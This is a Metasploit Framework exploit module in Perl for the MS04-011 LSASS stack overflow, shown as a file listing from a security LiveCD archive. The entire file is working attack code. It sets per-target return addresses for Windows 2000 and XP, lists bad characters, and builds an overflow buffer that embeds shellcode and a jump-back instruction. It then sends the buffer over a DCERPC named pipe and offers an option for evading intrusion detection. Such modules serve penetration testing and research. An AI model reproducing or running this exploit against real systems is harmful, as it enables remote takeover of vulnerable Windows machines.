home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / lsass_ms04_011.pm < prev    next >
Text File  |  2006-06-30  |  7KB  |  206 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::lsass_ms04_011;
  11. use base "Msf::Exploit";
  12. use strict;
  13.  
  14. use Pex::DCERPC;
  15. use Pex::NDR;
  16.  
  17. my $advanced = {
  18.     'FragSize'    => [ 256, 'The DCERPC fragment size' ],
  19.     'BindEvasion' => [ 0,   'IDS Evasion of the Bind request' ],
  20.     'DirectSMB'   => [ 0,   'Use direct SMB (445/tcp)' ],
  21. };
  22.  
  23. my $info = {
  24.     'Name'    => 'Microsoft LSASS MSO4-011 Overflow',
  25.     'Version' => '$Revision: 3715 $',
  26.     'Authors' => [
  27.         'H D Moore <hdm [at] metasploit.com>',
  28.         'Brian Caswell <bmc [at] shmoo.com>'
  29.     ],
  30.  
  31.     'Arch' => ['x86'],
  32.     'OS'   => [ 'win32', 'win2000', 'winxp' ],
  33.     'Priv' => 1,
  34.  
  35.     'AutoOpts' => { 'EXITFUNC' => 'thread' },
  36.     'UserOpts' => {
  37.         'RHOST' => [ 1, 'ADDR', 'The target address' ],
  38.  
  39.         # SMB connection options
  40.         'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ],
  41.         'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username', '' ],
  42.         'SMBDOM'  => [ 0, 'DATA', 'The domain for specified SMB username', '' ],
  43.     },
  44.  
  45.     'Payload' => {
  46.         'Space'    => 1024,
  47.         'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
  48.         'Keys'     => ['+ws2ord'],
  49.  
  50.         # sub esp, 4097 + inc esp makes stack happy
  51.         'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
  52.     },
  53.  
  54.     'Description' => Pex::Text::Freeform(
  55.         qq{
  56.         This module exploits a stack overflow in the LSASS service, this vulnerability
  57.         was originally found by eEye. When re-exploiting a Windows XP system, you will need
  58.         need to run this module twice. DCERPC request fragmentation can be performed by setting
  59.         'FragSize' parameter.
  60. }
  61.     ),
  62.  
  63.     'Refs' => [ [ 'OSVDB', '5248' ], [ 'MSB', 'MS04-011' ], [ 'MIL', '36' ], ],
  64.  
  65.     'DefaultTarget' => 0,
  66.     'Targets'       => [
  67.         [ 'Automatic',    0x00000000 ],
  68.         [ 'Windows 2000', 0x773242e0 ],
  69.         [ 'Windows XP',   0x7449bf1a ],
  70.     ],
  71.  
  72.     'Keys' => ['lsass'],
  73.  
  74.     'DisclosureDate' => 'Apr 13 2004',
  75. };
  76.  
  77. sub new {
  78.     my ($class) = @_;
  79.     my $self =
  80.       $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced }, @_ );
  81.     return ($self);
  82. }
  83.  
  84. sub Exploit {
  85.     my ($self)      = @_;
  86.     my $target_host = $self->GetVar('RHOST');
  87.     my $target_port = $self->GetVar('RPORT');
  88.     my $target_idx  = $self->GetVar('TARGET');
  89.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  90.     my $target_name = '*SMBSERVER';
  91.  
  92.     my $FragSize = $self->GetVar('FragSize') || 256;
  93.     my $target   = $self->Targets->[$target_idx];
  94.  
  95.     my ( $res, $rpc );
  96.  
  97.     if ( !$self->InitNops(128) ) {
  98.         $self->PrintLine("[*] Failed to initialize the nop module.");
  99.         return;
  100.     }
  101.  
  102.     my $pipe    = '\lsarpc';
  103.     my $uuid    = '3919286a-b10c-11d0-9ba8-00c04fd92ef5';
  104.     my $version = '0.0';
  105.  
  106.     my $handle =
  107.       Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host,
  108.         $pipe );
  109.  
  110.     my $dce = Pex::DCERPC->new(
  111.         'handle'      => $handle,
  112.         'username'    => $self->GetVar('SMBUSER'),
  113.         'password'    => $self->GetVar('SMBPASS'),
  114.         'domain'      => $self->GetVar('SMBDOM'),
  115.         'fragsize'    => $self->GetVar('FragSize'),
  116.         'bindevasion' => $self->GetVar('BindEvasion'),
  117.         'directsmb'   => $self->GetVar('DirectSMB'),
  118.     );
  119.  
  120.     if ( !$dce ) {
  121.         $self->PrintLine("[*] Could not bind to $handle");
  122.         return;
  123.     }
  124.  
  125.     # XXX - UGLY
  126.     my $smb = $dce->{'_handles'}{$handle}{'connection'};
  127.     if ( $target->[0] =~ /Auto/ ) {
  128.         if ( $smb->PeerNativeOS eq 'Windows 5.0' ) {
  129.             $target = $self->Targets->[1];
  130.             $self->PrintLine('[*] Windows 2000 target');
  131.         }
  132.         elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) {
  133.             $target = $self->Targets->[2];
  134.             $self->PrintLine('[*] XP target');
  135.         }
  136.         else {
  137.             $self->PrintLine(
  138.                 '[*] No target available : ' . $smb->PeerNativeOS() );
  139.             return;
  140.         }
  141.     }
  142.  
  143.     my $pattern;
  144.     if ( $target->[0] =~ /2000/ ) {
  145.  
  146.         # Windows 2000 requires that the string be unicode formatted
  147.         # and give us a nice set of registers which point back to
  148.         # the un-unicoded data. We simply return to a nop sled that
  149.         # jumps over the return address, some trash, and into the
  150.         # final payload. Easy as pie.
  151.         $pattern = Pex::Text::EnglishText(3500);
  152.         substr( $pattern, 2020, 4, pack( 'V', $target->[1] ) );
  153.         substr( $pattern, 2104, length($shellcode), $shellcode );
  154.         $pattern = Pex::NDR::UnicodeConformantVaryingString($pattern);
  155.     }
  156.     elsif ( $target->[0] =~ /XP/ ) {
  157.  
  158.         # Windows XP is a bit different, we need to use an ascii
  159.         # buffer and a jmp esp. The esp register points to an
  160.         # eight byte segment at the end of our buffer in memory,
  161.         # we make these bytes jump back to the beginning of the
  162.         # buffer, giving us about 1936 bytes of space for a
  163.         # payload.
  164.         $pattern = Pex::Text::EnglishText(7000);
  165.         substr( $pattern, 0, length($shellcode), $shellcode );
  166.         substr( $pattern, 1964, 4, pack( 'V', $target->[1] ) );
  167.         substr( $pattern, 1980, 5, "\xe9\x3f\xf8\xff\xff" )
  168.           ;    # jmp back to 1980 (disco fever)
  169.         $pattern = Pex::NDR::UnicodeConformantVaryingStringPreBuilt($pattern);
  170.         $self->PrintLine('[*] Windows XP may require two attempts');
  171.     }
  172.     else {
  173.         $self->PrintLine( '[*] invalid target : ' . $target->[0] );
  174.         return;
  175.     }
  176.  
  177.     my $stub = $pattern
  178.       . Pex::NDR::Long( int( rand(0xFFFFFF) ) )
  179.       . Pex::NDR::UnicodeConformantVaryingString('')
  180.       . Pex::NDR::UnicodeConformantVaryingString('')
  181.       . Pex::NDR::UnicodeConformantVaryingString('')
  182.       . Pex::NDR::UnicodeConformantVaryingString('')
  183.       . Pex::NDR::Long( int( rand(0xFFFFFF) ) )
  184.       . Pex::NDR::UnicodeConformantVaryingString('')
  185.       . Pex::NDR::Long( int( rand(0xFFFFFF) ) )
  186.       . Pex::NDR::UnicodeConformantVaryingString('')
  187.       . Pex::NDR::Long( int( rand(0xFFFFFF) ) )
  188.       . Pex::NDR::UnicodeConformantVaryingString('')
  189.       . Pex::Text::RandomData(528)
  190.       . Pex::Text::RandomData(528)
  191.       . Pex::NDR::Long( int( rand(0xFFFFFF) ) );
  192.  
  193.     $self->PrintLine("[*] Sending request...");
  194.     my @response = $dce->request( $handle, 9, $stub );
  195.     if (@response) {
  196.         $self->PrintLine('[*] RPC server responded with:');
  197.         foreach my $line (@response) {
  198.             $self->PrintLine( '[*] ' . $line );
  199.         }
  200.         $self->PrintLine('[*] This probably means that the system is patched');
  201.     }
  202.     return;
  203. }
  204.  
  205. 'chuuuuuu chuuu!';
  206.